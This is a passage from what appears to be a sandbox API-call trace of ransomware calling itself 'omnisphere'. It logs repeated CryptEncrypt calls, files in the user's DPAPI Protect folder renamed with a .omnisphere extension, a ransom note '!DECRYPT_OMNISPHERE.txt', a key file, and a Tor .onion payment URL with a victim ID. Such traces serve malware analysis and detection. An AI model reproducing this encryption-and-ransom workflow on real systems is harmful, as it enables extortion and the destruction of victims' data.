hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0116.974] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.974] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.974] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.974] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.974] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.974] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.974] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.974] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.974] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.974] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.974] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.974] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.974] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.974] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.974] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.974] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.974] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.974] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.974] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.974] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.975] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.975] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.975] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.975] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.975] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.975] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.975] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.975] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.975] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.975] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.975] CryptDestroyKey (hKey=0x16397a8) returned 1 [0116.975] CryptReleaseContext (hProv=0x1668d68, dwFlags=0x0) returned 1 [0116.975] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x1d4, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0116.975] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0116.976] GetProcessHeap () returned 0x1600000 [0116.976] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x328) returned 0x1694660 [0116.976] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\7a70842e-d6a2-46c1-966c-384a4ef9d347" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\7a70842e-d6a2-46c1-966c-384a4ef9d347"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\7a70842e-d6a2-46c1-966c-384a4ef9d347.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\7a70842e-d6a2-46c1-966c-384a4ef9d347.omnisphere")) returned 1 [0116.984] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\7a70842e-d6a2-46c1-966c-384a4ef9d347.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\7a70842e-d6a2-46c1-966c-384a4ef9d347.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\7a70842e-d6a2-46c1-966c-384a4ef9d347.omnisphere.id" [0116.984] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\7a70842e-d6a2-46c1-966c-384a4ef9d347.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\7a70842e-d6a2-46c1-966c-384a4ef9d347.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0116.985] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0116.986] CloseHandle (hObject=0x3c0) returned 1 [0116.994] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0116.995] CloseHandle (hObject=0x288) returned 1 [0116.995] SetEndOfFile (hFile=0x28c) returned 1 [0116.995] FlushFileBuffers (hFile=0x28c) returned 1 [0117.001] CloseHandle (hObject=0x28c) returned 1 [0117.001] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\7a70842e-d6a2-46c1-966c-384a4ef9d347" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 1 [0117.001] GetProcessHeap () returned 0x1600000 [0117.001] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1694990 [0117.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0117.001] GetProcessHeap () returned 0x1600000 [0117.001] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693cd8 [0117.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693cd8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0117.002] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0117.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0117.002] GetProcessHeap () returned 0x1600000 [0117.002] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16874e8 [0117.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16874e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0117.033] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0117.033] GetProcessHeap () returned 0x1600000 [0117.033] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xfe) returned 0x16499a8 [0117.033] PathCombineW (in: pszDest=0x16499a8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\!DECRYPT_OMNISPHERE.txt" [0117.033] GetProcessHeap () returned 0x1600000 [0117.033] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1689548 [0117.033] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0117.034] WriteFile (in: hFile=0x28c, lpBuffer=0x1689548*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1689548*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0117.034] CloseHandle (hObject=0x28c) returned 1 [0117.034] GetProcessHeap () returned 0x1600000 [0117.034] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1694990 | out: hHeap=0x1600000) returned 1 [0117.034] GetProcessHeap () returned 0x1600000 [0117.034] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xf4) returned 0x1649ab0 [0117.034] PathCombineW (in: pszDest=0x1649ab0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key" [0117.035] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0117.035] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0117.035] CloseHandle (hObject=0x28c) returned 1 [0117.035] GetProcessHeap () returned 0x1600000 [0117.035] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649ab0 | out: hHeap=0x1600000) returned 1 [0117.035] GetProcessHeap () returned 0x1600000 [0117.035] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0117.035] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x5c020c86, ftCreationTime.dwHighDateTime=0x1d4d5d3, ftLastAccessTime.dwLowDateTime=0x5c020c86, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0x5c0df81b, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0xd3, cFileName="b1334ab7-7773-4cde-b00c-b3b6e1e6ed9f", cAlternateFileName="B1334A~1")) returned 1 [0117.035] GetProcessHeap () returned 0x1600000 [0117.035] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x118) returned 0x160e0d8 [0117.036] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000", pszFile="b1334ab7-7773-4cde-b00c-b3b6e1e6ed9f" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\b1334ab7-7773-4cde-b00c-b3b6e1e6ed9f") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\b1334ab7-7773-4cde-b00c-b3b6e1e6ed9f" [0117.036] StrStrW (lpFirst=".omnisphere", lpSrch=0x0) returned 0x0 [0117.036] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\b1334ab7-7773-4cde-b00c-b3b6e1e6ed9f" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\b1334ab7-7773-4cde-b00c-b3b6e1e6ed9f"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0117.036] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=468) returned 1 [0117.036] GetTickCount () returned 0x115d425 [0117.036] GetTickCount () returned 0x115d425 [0117.036] GetTickCount () returned 0x115d425 [0117.036] GetTickCount () returned 0x115d425 [0117.036] GetTickCount () returned 0x115d425 [0117.036] GetTickCount () returned 0x115d425 [0117.036] GetTickCount () returned 0x115d425 [0117.036] GetTickCount () returned 0x115d425 [0117.036] GetTickCount () returned 0x115d425 [0117.036] GetTickCount () returned 0x115d425 [0117.036] GetTickCount () returned 0x115d425 [0117.036] GetTickCount () returned 0x115d425 [0117.036] GetTickCount () returned 0x115d425 [0117.036] GetTickCount () returned 0x115d425 [0117.036] GetTickCount () returned 0x115d425 [0117.037] GetTickCount () returned 0x115d425 [0117.037] GetTickCount () returned 0x115d425 [0117.037] GetTickCount () returned 0x115d425 [0117.037] GetTickCount () returned 0x115d425 [0117.037] GetTickCount () returned 0x115d425 [0117.037] GetTickCount () returned 0x115d425 [0117.037] GetTickCount () returned 0x115d425 [0117.037] GetTickCount () returned 0x115d425 [0117.037] GetTickCount () returned 0x115d425 [0117.037] GetTickCount () returned 0x115d425 [0117.037] GetTickCount () returned 0x115d425 [0117.037] GetTickCount () returned 0x115d425 [0117.037] GetTickCount () returned 0x115d425 [0117.037] GetTickCount () returned 0x115d425 [0117.037] GetTickCount () returned 0x115d425 [0117.037] GetTickCount () returned 0x115d425 [0117.037] GetTickCount () returned 0x115d425 [0117.037] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668f88) returned 1 [0117.038] CryptImportKey (in: hProv=0x1668f88, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0117.038] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0117.038] CryptDestroyKey (hKey=0x1639b28) returned 1 [0117.038] CryptReleaseContext (hProv=0x1668f88, dwFlags=0x0) returned 1 [0117.038] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d4, lpName=0x0) returned 0x288 [0117.038] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d4) returned 0x1480000 [0117.039] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16683d8) returned 1 [0117.039] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16394e8) returned 1 [0117.039] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0117.039] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0117.040] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.040] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.040] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.040] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.040] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.040] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.040] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.040] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.040] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.040] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.040] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.040] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.040] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.040] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.040] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.041] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.041] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.041] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0117.041] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, 